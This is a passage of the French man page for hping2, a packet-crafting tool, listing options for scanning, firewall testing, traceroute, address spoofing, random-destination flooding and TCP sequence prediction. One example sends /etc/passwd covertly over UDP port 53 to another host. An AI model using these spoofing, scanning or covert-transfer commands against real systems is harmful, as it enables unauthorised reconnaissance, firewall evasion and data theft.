|
--icmp-iplen length ] [ --icmp-ipid id ] [ --icmp-ipproto
|
||||||
|
protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [
|
||||||
|
--icmp-addr ] [ --tcpexitcode ] [ --tcp-timestamp ] [
|
||||||
|
--tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand-
|
||||||
|
dest ] [ --rand-source ] hostname
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
hping2 est un outil réseau capable d'envoyer des paquets
|
||||||
|
TCP/IP sur commande et d'afficher les réponses de la cible
|
||||||
|
comme le programme ping le fait avec les réponses ICMP.
|
||||||
|
hping2 traite la fragmentation, les contenus de paquets et
|
||||||
|
les tailles arbitraires, et peut être utilisé dans le but
|
||||||
|
de transférer des fichiers encapsulés dans les protocoles
|
||||||
|
supportés. En utilisant hping2 vous êtes capable
|
||||||
|
d'effectuer au moins les tâches suivantes :
|
||||||
|
|
||||||
|
- Tester les règles d'un firewall
|
||||||
|
- Scanner des ports de façon avancée
|
||||||
|
- Tester les performances réseau en utilisant différents
|
||||||
|
protocoles, tailles de paquets, TOS (type de service) et
|
||||||
|
fragmentation.
|
||||||
|
- Découverte de "Path MTU"
|
||||||
|
- Transférer des fichiers même au travers de règles de
|
||||||
|
firewall vraiment fascistes.
|
||||||
|
- Comme traceroute avec différents protocoles.
|
||||||
|
- Utilisation comme Firewalk.
|
||||||
|
- Détermination d'OS à distance.
|
||||||
|
- Audit de pile TCP/IP.
|
||||||
|
- Beaucoup d'autres.
|
||||||
|
|
||||||
|
C'est également un bon outil didactique pour apprendre
|
||||||
|
TCP/IP. hping2 est développé et maintenu par
|
||||||
|
antirez@invece.org et est sous la version 2 de la licence
|
||||||
|
GPL. Le développement est ouvert donc vous pouvez
|
||||||
|
m'envoyer des patches, suggestions et affronts sans inhi
|
||||||
|
bition.
|
||||||
|
|
||||||
|
SITE DE HPING
|
||||||
|
site primaire sur http://www.hping.org. Vous pouvez trou
|
||||||
|
ver à la fois la version stable et les instructions pour
|
||||||
|
télécharger le dernier code source sur
|
||||||
|
http://www.hping.org/download.html
|
||||||
|
|
||||||
|
OPTIONS DE BASE
|
||||||
|
-h --help
|
||||||
|
Montre l'écran d'aide sur la sortie standard, donc
|
||||||
|
vous pouvez rediriger vers less.
|
||||||
|
|
||||||
|
-v --version
|
||||||
|
Montre l'information de version et l'API utilisée
|
||||||
|
pour accéder au niveau données (data link layer),
|
||||||
|
linux sock packet ou libpcap.
|
||||||
|
|
||||||
|
-c --count count
|
||||||
|
Arrête après avoir envoyé (et reçu) count paquets
|
||||||
|
réponse. Après que le dernier paquet a été envoyé
|
||||||
|
hping2 attend COUNTREACHED_TIMEOUT secondes les
|
||||||
|
réponses du système cible. Vous avez la possibilité
|
||||||
|
de régler COUNTREACHED_TIMEOUT en éditant hping2.h
|
||||||
|
|
||||||
|
-i --interval
|
||||||
|
Attend le nombre spécifié de secondes ou de micro
|
||||||
|
secondes entre l'envoie de chaque paquet. --inter
|
||||||
|
val X fixe wait à X secondes, --interval uX fixe
|
||||||
|
wait à X micro secondes. Le défaut est d'attendre
|
||||||
|
une seconde entre chaque paquet. En utilisant
|
||||||
|
hping2 pour transférer des fichiers fixer cette
|
||||||
|
option est très important pour augmenter le taux de
|
||||||
|
transfert. Même en utilisant hping2 pour effectuer
|
||||||
|
des scans passifs/avec usurpation d'adresse vous
|
||||||
|
devriez fixer cette option, voir HPING2-HOWTO pour
|
||||||
|
plus d'informations.
|
||||||
|
|
||||||
|
--fast Alias pour -i u10000. Hping enverra 10 paquets par
|
||||||
|
seconde.
|
||||||
|
|
||||||
|
--faster
|
||||||
|
Alias pour -i u1. Plus rapide que --fast ;) (mais
|
||||||
|
pas aussi rapide que votre ordinateur peut envoyer
|
||||||
|
des paquets à cause de la conception basée sur les
|
||||||
|
signaux).
|
||||||
|
|
||||||
|
-n --numeric
|
||||||
|
Sortie numérique seulement, aucune tentative ne
|
||||||
|
sera faite pour chercher les noms symboliques pour
|
||||||
|
les adresses système.
|
||||||
|
|
||||||
|
-q --quiet
|
||||||
|
Sortie silencieuse. Rien n'est affiche excepté les
|
||||||
|
lignes de résume au moment du démarrage et quand
|
||||||
|
c'est fini.
|
||||||
|
|
||||||
|
-I --interface interface name
|
||||||
|
Par défaut sur les systèmes linux et BSD hping2
|
||||||
|
utilise l'interface de routage par défaut. Sur
|
||||||
|
d'autres systèmes ou quand il n'y a pas d'interface
|
||||||
|
de routage par défaut hping2 utilise la première
|
||||||
|
interface non loopback. Quoi qu'il en soit vous
|
||||||
|
avez la possibilité de forcer hping2 à utiliser
|
||||||
|
l'interface dont vous avez besoin en utilisant
|
||||||
|
cette option. Note : vous n'avez pas besoin de
|
||||||
|
spécifier le nom complet, par exemple -I et va cor
|
||||||
|
respondre à eth0 ethernet0 myet1 et cetera. Si
|
||||||
|
aucune interface ne correspond hping2 essayera
|
||||||
|
d'utiliser lo.
|
||||||
|
|
||||||
|
-V --verbose
|
||||||
|
Active la sortie verbeuse. Les réponses TCP seront
|
||||||
|
affichées comme suit :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255
|
||||||
|
id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0
|
||||||
|
ack=1380893504 sum=2010 urp=0
|
||||||
|
|
||||||
|
-D --debug
|
||||||
|
Active le mode de débogage, c'est utile quand vous
|
||||||
|
rencontrez quelques problèmes avec hping2. Quand le
|
||||||
|
mode de débogage est activé vous obtiendrez plus
|
||||||
|
d'informations à propos de la détection des inter
|
||||||
|
faces, de l'accès au niveau données, du réglage des
|
||||||
|
interfaces, des options d'analyse, de la fragmenta
|
||||||
|
tion, du protocole HCMP et d'autres choses.
|
||||||
|
|
||||||
|
-z --bind
|
||||||
|
Lie CTRL+Z au time to live (TTL) ainsi vous serez
|
||||||
|
capable d'incrémenter/décrémenter le ttl des
|
||||||
|
paquets sortant en pressant CTRL+Z une ou deux
|
||||||
|
fois.
|
||||||
|
|
||||||
|
-Z --unbind
|
||||||
|
Dé-lie CTRL+Z ainsi vous serez capable d'arrêter
|
||||||
|
hping2
|
||||||
|
|
||||||
|
SELECTION DE PROTOCOLE
|
||||||
|
Le protocole par défaut est TCP, par défaut hping2 enverra
|
||||||
|
des entêtes TCP sur le port 0 du système cible avec une
|
||||||
|
winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau
|
||||||
|
TCP activé. Souvent c'est la meilleure manière de faire un
|
||||||
|
'ping caché', utile quand la cible est derrière un fire
|
||||||
|
wall qui jette ICMP. De plus un paquet TCP null-flag (ndt
|
||||||
|
: sans drapeau) vers le port 0 a de bonnes probabilités de
|
||||||
|
ne pas être journalisé.
|
||||||
|
|
||||||
|
-0 --rawip
|
||||||
|
Mode RAW IP, dans ce mode hping2 enverra une entête
|
||||||
|
IP avec les données ajoutées avec --signature et/ou
|
||||||
|
--file, voir également --ipproto qui vous autorise
|
||||||
|
à fixer le champ protocole IP.
|
||||||
|
|
||||||
|
-1 --icmp
|
||||||
|
Mode ICMP, par défaut hping2 enverra un paquet ICMP
|
||||||
|
echo-request, vous pouvez fixer un autre type/code
|
||||||
|
ICMP en utilisant les options --icmptype --icmpcode
|
||||||
|
|
||||||
|
-2 --udp
|
||||||
|
Mode UDP, par défaut hping2 enverra des paquets UDP
|
||||||
|
vers le port 0 du système cible. Les options
|
||||||
|
réglables des entêtes UDP sont les suivantes :
|
||||||
|
--baseport, --destport, --keep.
|
||||||
|
|
||||||
|
-8 --scan
|
||||||
|
Mode scan, l'option attend un argument qui décrit
|
||||||
|
des groupes de ports à scanner. Les groupes de
|
||||||
|
ports sont séparés par des virgules : un nombre
|
||||||
|
décrit seulement un port unique, donc 1,2,3 signi
|
||||||
|
fie ports 1, 2 et 3. Les intervalles sont spécifiés
|
||||||
|
en utilisant une notation début-fin, comme 1-1000,
|
||||||
|
qui dit à hping de scanner les ports entre 1 et
|
||||||
|
1000 (inclus). Le mot spécial all est un alors pour
|
||||||
|
0-65535, pendant que le mot spécial known inclut
|
||||||
|
tous les ports listés dans /etc/services.
|
||||||
|
Les groupes peuvent être combinés, donc la commande
|
||||||
|
suivante scannera les ports entre 1 et 1000 ET le
|
||||||
|
port 8888 ET les ports listés dans /etc/services:
|
||||||
|
hping --scan 1-1000,8888,known -S target.host.com
|
||||||
|
Les groupes peuvent être niés (soustraits) en util
|
||||||
|
isant un caractère ! comme préfix, donc la ligne de
|
||||||
|
commande suivante scannera tous les ports NON
|
||||||
|
listés dans /etc/services dans l'intervalle 1-1024
|
||||||
|
: hping --scan '1-1024,!known' -S target.host.com
|
||||||
|
Gardez à l'esprit que pendant que hping apparaît
|
||||||
|
beaucoup plus comme un scanneur de ports dans ce
|
||||||
|
mode, la plupart des options sont toujours
|
||||||
|
honorées, donc pour effectuer par exemple un scan
|
||||||
|
SYN vous avez besoin de spécifier l'option -S, vous
|
||||||
|
pouvez changer la taille de la fenêtre TCP, le TTL,
|
||||||
|
contrôler la fragmentation IP comme habituellement,
|
||||||
|
et ainsi de suite. La seule différence réelle est
|
||||||
|
que le comportement standard de hping est encapsulé
|
||||||
|
dans un algorithme de scan.
|
||||||
|
Note technique : Le mode scan utilise une concep
|
||||||
|
tion basée sur deux processus, avec de la mémoire
|
||||||
|
partagée pour la synchronisation. L'algorithlme de
|
||||||
|
scan n'est toujours pas optimal, mais déjà assez
|
||||||
|
rapide.
|
||||||
|
Conseil : à la différence de la plupart des scan
|
||||||
|
neurs, hping montre quelques informations
|
||||||
|
intéressantes à propos des paquets reçus, les
|
||||||
|
champs IP ID, TCP win, TTL, et ainsi de suite,
|
||||||
|
n'oubliez pas de regarder ces informations addi
|
||||||
|
tionnelles quand vous effectuez un scan! Quelques
|
||||||
|
fois elles montrent des détails intéressants.
|
||||||
|
|
||||||
|
-9 --listen signature
|
||||||
|
Mode d'écoute de HPING2, en utilisant cette option
|
||||||
|
hping2 attend les paquets qui contiennent signature
|
||||||
|
et exporte de la fin de la signature à la fin du
|
||||||
|
paquet. Par exemple si hping2 --listen TEST lit un
|
||||||
|
paquet qui contient 234-09sdflkjs45-TESThello_world
|
||||||
|
il affichera hello_world.
|
||||||
|
|
||||||
|
OPTIONS IP
|
||||||
|
-a --spoof hostname
|
||||||
|
Utiliser cette option dans le but de fixer une
|
||||||
|
fausse adresse source, cette option assure que le
|
||||||
|
système cible n'obtiendra pas votre adresse réelle.
|
||||||
|
Quoi qu'il en soit les réponses seront envoyées à
|
||||||
|
l'adresse usurpée, ainsi vous ne serez pas capable
|
||||||
|
de les voir. Afin de voir comment il est possible
|
||||||
|
d'effectuer des scans avec des adresses
|
||||||
|
usurpées/passifs voir le fichier HPING2-HOWTO.
|
||||||
|
|
||||||
|
--rand-source
|
||||||
|
Cette option active le mode source aléatoire.
|
||||||
|
hping enverra des paquets avec des adresses sources
|
||||||
|
aléatoires. Il est intéressant d'utiliser cette
|
||||||
|
option pour stresser les tables d'étât d'un fire
|
||||||
|
wall, et d'autres tables dynamiques basées sur les
|
||||||
|
IP dans les piles TCP/IP et les firewall logiciels.
|
||||||
|
|
||||||
|
--rand-dest
|
||||||
|
Cette option active le mode destination aléatoire.
|
||||||
|
hping enverra des paquets à des adresses aléatoires
|
||||||
|
obtenues en suivant la règle que vous avez
|
||||||
|
spécifiée comme système cible. Vous avez besoin de
|
||||||
|
spécifier une adresse IP numérique en tant que
|
||||||
|
système cible comme 10.0.0.x. Toutes les occur
|
||||||
|
rences de x seront remplacées avec un nombre
|
||||||
|
aléatoire dans l'intervalle 0-255. Ainsi pour
|
||||||
|
obtenir des adresses IP internet dans l'espace IPv4
|
||||||
|
complet utilisez quelque chose comme hping x.x.x.x
|
||||||
|
--rand-dest. Si vous n'êtes pas sûrs du genre
|
||||||
|
d'adresses que votre règle génère essayez
|
||||||
|
d'utiliser l'option --debug pour afficher chaque
|
||||||
|
nouvelle adresse destination générée.
|
||||||
|
Attention : quand cette option est activée hping ne
|
||||||
|
peut pas détecter la bonne interface de sortie pour
|
||||||
|
les paquets, ainsi vous devez utiliser l'option
|
||||||
|
--interface pour sélectionner l'interface de sor
|
||||||
|
tie.
|
||||||
|
|
||||||
|
-t --ttl time to live
|
||||||
|
En utilisant cette option vous pouvez fixer le TTL
|
||||||
|
(time to live) des paquets sortant, il est vraisem
|
||||||
|
blable que vous utiliserez ceci avec les options
|
||||||
|
--traceroute ou --bind Dans le doute essayez
|
||||||
|
`hping2 some.host.com -t 1 --traceroute'.
|
||||||
|
|
||||||
|
-N --id
|
||||||
|
Fixe le champ ip->id . La valeur du champ id par
|
||||||
|
défaut est aléatoire mais si la fragmentation est
|
||||||
|
activée et que le champ id n'est pas spécifié alors
|
||||||
|
il sera égal à getpid() & 0xFF, mettre en oeuvre
|
||||||
|
une meilleure solution est dans la liste TODO (ndt
|
||||||
|
: à faire).
|
||||||
|
|
||||||
|
-H --ipproto
|
||||||
|
Fixe le protocole IP dans le mode RAW IP.
|
||||||
|
|
||||||
|
-W --winid
|
||||||
|
Le champ id des systèmes Windows* avant Win2k ont
|
||||||
|
un byte ordering (ndt : ordre des octets)
|
||||||
|
différent, si cette option est activée hping2
|
||||||
|
affichera proprement les champs id des réponses de
|
||||||
|
ces Windows.
|
||||||
|
|
||||||
|
-r --rel
|
||||||
|
Affiche les incréments du champ id au lieu du champ
|
||||||
|
id. Voir le fichier HPING2-HOWTO pour plus d'infor
|
||||||
|
mations. Les incréments ne sont pas calculés comme
|
||||||
|
id[N]-id[N-1] mais en utilisant une compensation de
|
||||||
|
pertes de paquets. Voir le fichier relid.c pour
|
||||||
|
plus d'informations.
|
||||||
|
|
||||||
|
-f --frag
|
||||||
|
Découpe les paquets en fragments, ceci peut être
|
||||||
|
utile afin de tester les performances de la frag
|
||||||
|
mentation des piles IP et de tester si certains
|
||||||
|
filtres de paquets sont si faibles qu'ils peuvent
|
||||||
|
être passés en utilisant de petits fragments
|
||||||
|
(anachronique). Par défaut le 'mtu virtuel' (ndt :
|
||||||
|
taille des fragments) est de 16 octets. Voir égale
|
||||||
|
ment l'option --mtu.
|
||||||
|
|
||||||
|
-x --morefrag
|
||||||
|
Fixe le drapeau IP "more fragments" (ndt : d'autres
|
||||||
|
fragments), utilisez cette option si vous voulez
|
||||||
|
que le système cible envoie un paquet ICMP time-
|
||||||
|
exceeded during reassembly (ndt : délai dépassé
|
||||||
|
durant le ré-assemblage).
|
||||||
|
|
||||||
|
-y --dontfrag
|
||||||
|
Fixe le drapeau IP "don't fragment" (ndt : ne pas
|
||||||
|
fragmenter), ceci peut être utilisé pour effectuer
|
||||||
|
un MTU path discovery (ndt : découverte de la
|
||||||
|
valeur minimale de la "taille maximale des paquets"
|
||||||
|
sur le chemin).
|
||||||
|
|
||||||
|
-g --fragoff fragment offset value
|
||||||
|
Fixe l'offset du fragment.
|
||||||
|
|
||||||
|
-m --mtu mtu value
|
||||||
|
Fixe un 'mtu virtuel' différent de 16 quand la
|
||||||
|
fragmentation est activée. Si la taille des paquets
|
||||||
|
est supérieure au 'mtu virtuel' alors la fragmenta
|
||||||
|
tion est automatiquement activée.
|
||||||
|
|
||||||
|
-o --tos hex_tos
|
||||||
|
Fixe Type Of Service (TOS) (ndt : le type de ser
|
||||||
|
vice), pour plus d'informations essayez --tos help.
|
||||||
|
|
||||||
|
-G --rroute
|
||||||
|
Enregistrer la route. Inclut l'option RECORD_ROUTE
|
||||||
|
dans chaque paquet envoyé et affiche la route
|
||||||
|
présente dans le tampon du paquet retourné. Notez
|
||||||
|
que l'entête IP n'est suffisamment large que pour
|
||||||
|
neuf routes. Beaucoup de systèmes ignorent ou sup
|
||||||
|
priment cette option. Notez également qu'en util
|
||||||
|
isant hping vous êtes capable d'utiliser l'enreg
|
||||||
|
istrement de la route même si le système cible fil
|
||||||
|
tre ICMP. Enregistrer la route est une option IP,
|
||||||
|
non pas une option ICMP, ainsi vous pouvez utiliser
|
||||||
|
l'option d'enregistrement de la route même dans les
|
||||||
|
modes TCP et UDP.
|
||||||
|
|
||||||
|
OPTIONS ICMP
|
||||||
|
-C --icmptype type
|
||||||
|
Fixe le type ICMP, le défaut est ICMP echo request.
|
||||||
|
|
||||||
|
-K --icmpcode code
|
||||||
|
Fixe le code ICMP, le défaut est 0 (implique
|
||||||
|
--icmp).
|
||||||
|
|
||||||
|
--icmp-ipver
|
||||||
|
Fixe la version IP de l'entête IP contenue dans les
|
||||||
|
données ICMP, le défaut est 4.
|
||||||
|
|
||||||
|
--icmp-iphlen
|
||||||
|
Fixe la longueur de l'entête IP contenue dans les
|
||||||
|
données ICMP, le défaut est 5 (5 mots de 32 bits).
|
||||||
|
|
||||||
|
--icmp-iplen
|
||||||
|
Fixe la longueur du paquet IP de l'entête IP con
|
||||||
|
tenue dans les données ICMP, le défaut est la
|
||||||
|
taille réelle.
|
||||||
|
|
||||||
|
--icmp-ipid
|
||||||
|
Fixe le champ IP id de l'entête IP contenue dans
|
||||||
|
les données ICMP, le défaut est aléatoire.
|
||||||
|
|
||||||
|
--icmp-ipproto
|
||||||
|
Fixe le protocole IP de l'entête IP contenue dans
|
||||||
|
les données ICMP, le défaut est TCP.
|
||||||
|
|
||||||
|
--icmp-cksum
|
||||||
|
Fixe la somme de contrôle ICMP, le défaut est la
|
||||||
|
somme de contrôle valide.
|
||||||
|
|
||||||
|
--icmp-ts
|
||||||
|
Alias pour --icmptype 13 (pour envoyer des requêtes
|
||||||
|
ICMP timestamp).
|
||||||
|
|
||||||
|
--icmp-addr
|
||||||
|
Alias pour --icmptype 17 (pour envoyer des requêtes
|
||||||
|
ICMP masque réseau).
|
||||||
|
|
||||||
|
OPTIONS TCP/UDP
|
||||||
|
-s --baseport source port
|
||||||
|
hping2 utilise le port source afin de deviner les
|
||||||
|
numéros de séquence des réponses. Il commence avec
|
||||||
|
un numéro de port source de base, et incrémente ce
|
||||||
|
numéro pour chaque paquet envoyé. Quand un paquet
|
||||||
|
est reçu alors le numéro de séquence peut être cal
|
||||||
|
culé comme port.source.réponse -
|
||||||
|
port.source.de.base. Le port source de base par
|
||||||
|
défaut est aléatoire, en utilisant cette option
|
||||||
|
vous êtes capable de fixer un numéro différent. Si
|
||||||
|
vous avez besoin que le port source ne soit pas
|
||||||
|
incrémenté pour chaque paquet envoyé utilisez
|
||||||
|
l'option -k --keep.
|
||||||
|
|
||||||
|
-p --destport [+][+]dest port
|
||||||
|
Fixe le port destination, le défaut est 0. Si le
|
||||||
|
caractère '+' précède le numéro de port destination
|
||||||
|
(i.e. +1024) le port destination sera incrémenté
|
||||||
|
pour chaque paquet reçu. Si deux '+' précèdent le
|
||||||
|
numéro de port destination (i.e. ++1024), le port
|
||||||
|
destination sera incrémenté pour chaque paquet
|
||||||
|
envoyé. Par défaut le port destination peut être
|
||||||
|
modifié interactivement en utilisant CTRL+z.
|
||||||
|
|
||||||
|
--keep Garde constant le port source, voir --baseport pour
|
||||||
|
plus d'informations.
|
||||||
|
|
||||||
|
-w --win
|
||||||
|
Fixe la taille de la fenêtre TCP. Le défaut est 64.
|
||||||
|
|
||||||
|
-O --tcpoff
|
||||||
|
Fixe un faux offset (ndt : décalage) des données
|
||||||
|
TCP. L'offset normal des données est tcphdrlen / 4.
|
||||||
|
|
||||||
|
-M --tcpseq
|
||||||
|
Fixe le numéro de séquence TCP.
|
||||||
|
|
||||||
|
-L --tcpack
|
||||||
|
Fixe le drapeau TCP ack.
|
||||||
|
|
||||||
|
-Q --seqnum
|
||||||
|
Cette option peut être utilisée afin de collecter
|
||||||
|
les numéros de séquence générés par le système
|
||||||
|
cible. Ceci peut être utile quand vous avez besoin
|
||||||
|
d'analyser si les numéros de séquence TCP sont
|
||||||
|
prévisibles. Exemple de sortie :
|
||||||
|
|
||||||
|
#hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
|
||||||
|
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
|
||||||
|
2361294848 +2361294848
|
||||||
|
2411626496 +50331648
|
||||||
|
2545844224 +134217728
|
||||||
|
2713616384 +167772160
|
||||||
|
2881388544 +167772160
|
||||||
|
3049160704 +167772160
|
||||||
|
3216932864 +167772160
|
||||||
|
3384705024 +167772160
|
||||||
|
3552477184 +167772160
|
||||||
|
3720249344 +167772160
|
||||||
|
3888021504 +167772160
|
||||||
|
4055793664 +167772160
|
||||||
|
4223565824 +167772160
|
||||||
|
|
||||||
|
La première colonne reporte les numéros de
|
||||||
|
séquence, la seconde la différence entre le numéro
|
||||||
|
de séquence courant et le dernier. Comme vous pou
|
||||||
|
vez le voir les numéros de séquence du système
|
||||||
|
cible sont prévisibles.
|
||||||
|
|
||||||
|
-b --badcksum
|
||||||
|
Envoie des paquets avec une mauvaise somme de
|
||||||
|
contrôle UDP/TCP
|
||||||
|
|
||||||
|
--tcp-timestamp
|
||||||
|
Active l'option TCP timestamp, et essaye de deviner
|
||||||
|
la fréquence de mise à jour du timestamp et
|
||||||
|
l'uptime du système distant.
|
||||||
|
|
||||||
|
-F --fin
|
||||||
|
Fixe le drapeau TCP FIN.
|
||||||
|
|
||||||
|
-S --syn
|
||||||
|
Fixe le drapeau TCP SYN.
|
||||||
|
|
||||||
|
-R --rst
|
||||||
|
Fixe le drapeau TCP RST.
|
||||||
|
|
||||||
|
-P --push
|
||||||
|
Fixe le drapeau TCP PUSH.
|
||||||
|
|
||||||
|
-A --ack
|
||||||
|
Fixe le drapeau TCP ACK.
|
||||||
|
|
||||||
|
-U --urg
|
||||||
|
Fixe le drapeau TCP URG.
|
||||||
|
|
||||||
|
-X --xmas
|
||||||
|
Fixe le drapeau TCP Xmas.
|
||||||
|
|
||||||
|
-Y --ymas
|
||||||
|
Fixe le drapeau TCP Ymas.
|
||||||
|
|
||||||
|
OPTIONS COMMUNES
|
||||||
|
-d --data data size
|
||||||
|
Fixe la taille du corps du paquet. Attention, en
|
||||||
|
utilisant --data 40 hping2 ne générera pas des
|
||||||
|
paquets de 0 octet mais de entête_de_protocole+40
|
||||||
|
octets. hping2 affichera en information la taille
|
||||||
|
des paquets comme première ligne de sortie, comme
|
||||||
|
ceci : HPING www.yahoo.com (ppp0 204.71.200.67): NO
|
||||||
|
FLAGS are set, 40 headers + 40 data bytes
|
||||||
|
|
||||||
|
-E --file filename
|
||||||
|
Utilise le contenu du fichier filename pour rem
|
||||||
|
plir les données du paquet.
|
||||||
|
|
||||||
|
-e --sign signature
|
||||||
|
Remplit d'abord longueur de signature octets de
|
||||||
|
données avec signature. Si longueur de signature
|
||||||
|
est plus grand que la taille des données alors un
|
||||||
|
message d'erreur sera affiché. Si vous ne
|
||||||
|
spécifiez pas la taille des données hping utilisera
|
||||||
|
la taille de la signature comme taille des données.
|
||||||
|
Cette option peut être utilisée sans risque avec
|
||||||
|
l'option --file filename, l'espace de données
|
||||||
|
restant sera rempli en utilisant le fichier file
|
||||||
|
name.
|
||||||
|
|
||||||
|
-j --dump
|
||||||
|
Affiche les paquets en hexadécimal.
|
||||||
|
|
||||||
|
-J --print
|
||||||
|
Affiche les caractères imprimables des paquets
|
||||||
|
reçus.
|
||||||
|
|
||||||
|
-B --safe
|
||||||
|
Active le protocole safe, en utilisant cette option
|
||||||
|
les paquets perdus dans un transfert de fichier
|
||||||
|
seront renvoyés. Par exemple afin d'envoyer le
|
||||||
|
fichier /etc/passwd depuis le système A au système
|
||||||
|
B vous pouvez utiliser ce qui suit :
|
||||||
|
[host_a]
|
||||||
|
# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
|
||||||
|
[host_b]
|
||||||
|
# hping2 host_a --listen signature --safe --icmp
|
||||||
|
|
||||||
|
-u --end
|
||||||
|
Si vous utilisez l'option --file filename, cela
|
||||||
|
vous dit quand la fin du fichier a été atteinte.
|
||||||
|
D'ailleurs cela prévient que l'autre côté accepte
|
||||||
|
plus de paquets. S'il vous plaît, pour plus
|
||||||
|
d'informations voir le fichier HPING2-HOWTO.
|
||||||
|
|
||||||
|
-T --traceroute
|
||||||
|
Mode traceroute. En utilisant cette option hping2
|
||||||
|
incrémentera le ttl pour chaque paquet ICMP time to
|
||||||
|
live 0 during transit reçu. Essayez hping2 host
|
||||||
|
--traceroute. Cette option implique --bind et
|
||||||
|
--ttl 1. Vous pouvez l'emporter sur le ttl à 1 en
|
||||||
|
utilisant l'option --ttl. Depuis 2.0.0 stable il
|
||||||
|
affiche les informations de RTT. --tr-keep-ttl
|
||||||
|
garde le ttl fixe en mode traceroute, ainsi vous
|
||||||
|
pouvez contrôler simplement un noeud sur la route.
|
||||||
|
Par exemple, pour contrôler comment le 5ème noeud
|
||||||
|
change ou comment son RTT change vous pouvez
|
||||||
|
essayer hping2 host --traceroute --ttl 5 --tr-keep-
|
||||||
|
ttl.
|
||||||
|
|
||||||
|
--tr-stop
|
||||||
|
Si cette option est spécifiée hping quittera dès
|
||||||
|
que le premier paquet qui n'est pas un ICMP time
|
||||||
|
exceeded est reçu. Ceci émule mieux le comportement
|
||||||
|
de traceroute.
|
||||||
|
|
||||||
|
--tr-no-rtt
|
||||||
|
Ne montre pas l'information RTT en mode traceroute.
|
||||||
|
L'information du RTT des ICMP time exceeded n'est
|
||||||
|
même pas calculée si cette option est positionnée.
|
||||||
|
|
||||||
|
--tcpexitcode
|
||||||
|
Quitte avec le champ tcp->th_flag du dernier paquet
|
||||||
|
reçu comme code de retour. Utile pour les scripts
|
||||||
|
qui ont besoin, par exemple, de savoir si le port
|
||||||
|
999 de quelque système répond avec SYN/ACK ou avec
|
||||||
|
RST en réponse à un SYN, i.e. le service est lancé
|
||||||
|
ou arrêté.
|
||||||
|
|
||||||
|
FORMAT DE SORTIE TCP
|
||||||
|
Le format standard de sortie TCP est le suivant :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0
|
||||||
|
rtt=0.4 ms
|
||||||
|
|
||||||
|
len est la taille, en octets, des données capturées dans
|
||||||
|
la couche liaison de données en excluant la taille de
|
||||||
|
l'entête de liaison de données. Ceci peut ne pas corre
|
||||||
|
spondre à la taille du datagramme IP à cause du rembour
|
||||||
|
rage bas niveau de la couche liaison de données.
|
||||||
|
|
||||||
|
ip est l'adresse ip source.
|
||||||
|
|
||||||
|
flags sont les drapeaux TCP, R pour RESET, S pour SYN, A
|
||||||
|
pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour
|
||||||
|
0x40 non standard, Y pour 0x80 non standard.
|
||||||
|
|
||||||
|
Si la réponse contient DF l'entête IP possède le bit don't
|
||||||
|
fragment (ndt : ne pas fragmenter) positionné.
|
||||||
|
|
||||||
|
seq est le numéro de séquence du paquet, obtenu en util
|
||||||
|
isant le port source pour les paquets TCP/UDP, le champ
|
||||||
|
séquence pour les paquets ICMP.
|
||||||
|
|
||||||
|
id est le champ IP ID.
|
||||||
|
|
||||||
|
win est la taille de la fenêtre TCP
|
||||||
|
|
||||||
|
rtt est le "round trip time" (ndt : temps aller-retour) en
|
||||||
|
millisecondes.
|
||||||
|
|
||||||
|
Si vous exécutez hping en utilisant l'option -V de la
|
||||||
|
ligne de commande il affichera des informations supplémen
|
||||||
|
taires à propos du paquet, par exemple :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0
|
||||||
|
rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d
|
||||||
|
urp=0
|
||||||
|
|
||||||
|
tos est le champ type de service de l'entête IP.
|
||||||
|
|
||||||
|
iplen est le champ IP longueur totale.
|
||||||
|
|
||||||
|
seq et ack sont les numéros de séquence et d'acquittement
|
||||||
|
sur 32 bits dans l'entête TCP.
|
||||||
|
|
||||||
|
sum est la valeur de la somme de contrôle de l'entête TCP.
|
||||||
|
|
||||||
|
urp est la valeur du pointeur urgent TCP.
|
||||||
|
|
||||||
|
FORMAT DE SORTIE UDP
|
||||||
|
Le format standard de sortie est :
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
|
||||||
|
|
||||||
|
La signification des champs est la même que celle de la
|
||||||
|
sortie TCP pour les champs de même nom.
|
||||||
|
|
||||||
|
FORMAT DE SORTIE ICMP
|
||||||
|
Un exemple de sortie ICMP est :
|
||||||
|
|
||||||
|
ICMP Port Unreachable from ip=192.168.1.1 name=nano.mar
|
||||||
|
moc.net
|
||||||
|
|
||||||
|
Il est très facile à comprendre. Il commence avec la
|
||||||
|
chaîne "ICMP" suivie par la description de l'erreur ICMP,
|
||||||
|
dans l'exemple Port Unreachable (ndt : port non accessi
|
||||||
|
ble). Le champ ip est l'adresse IP source du datagramme IP
|
||||||
|
contenant l'erreur ICMP, le champ name est simplement
|
||||||
|
l'adresse numérique résolue en un nom (une requête dns
|
||||||
|
PTR) ou UNKNOWN si la résolution a échoué.
|
||||||
|
|
||||||
|
Le format ICMP de Time exceeded during ou de reassembly
|
||||||
|
est un peu différent :
|
||||||
|
|
||||||
|
TTL 0 during transit from ip=192.168.1.1 name=nano.mar
|
||||||
|
moc.net
|
||||||
|
|
||||||
|
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
|
||||||
|
|
||||||
|
La seule différence est la description de l'erreur, elle
|
||||||
|
commence avec TTL 0.
|
||||||
|
|
||||||
|
AUTEUR
|
||||||
|
Salvatore Sanfilippo <antirez@invece.org>, avec l'aide des
|
||||||
|
personnes mentionnées dans le fichier AUTHORS et sur
|
||||||
|
http://www.hping.org/authors.html
|
||||||
|
|
||||||
|
BOGUES
|
||||||
|
Même en utilisant les options --end et --safe pour
|
||||||
|
transférer des fichiers, le paquet final sera rembourré
|
||||||
|
avec des octets 0x00.
|
||||||
|
|
||||||
|
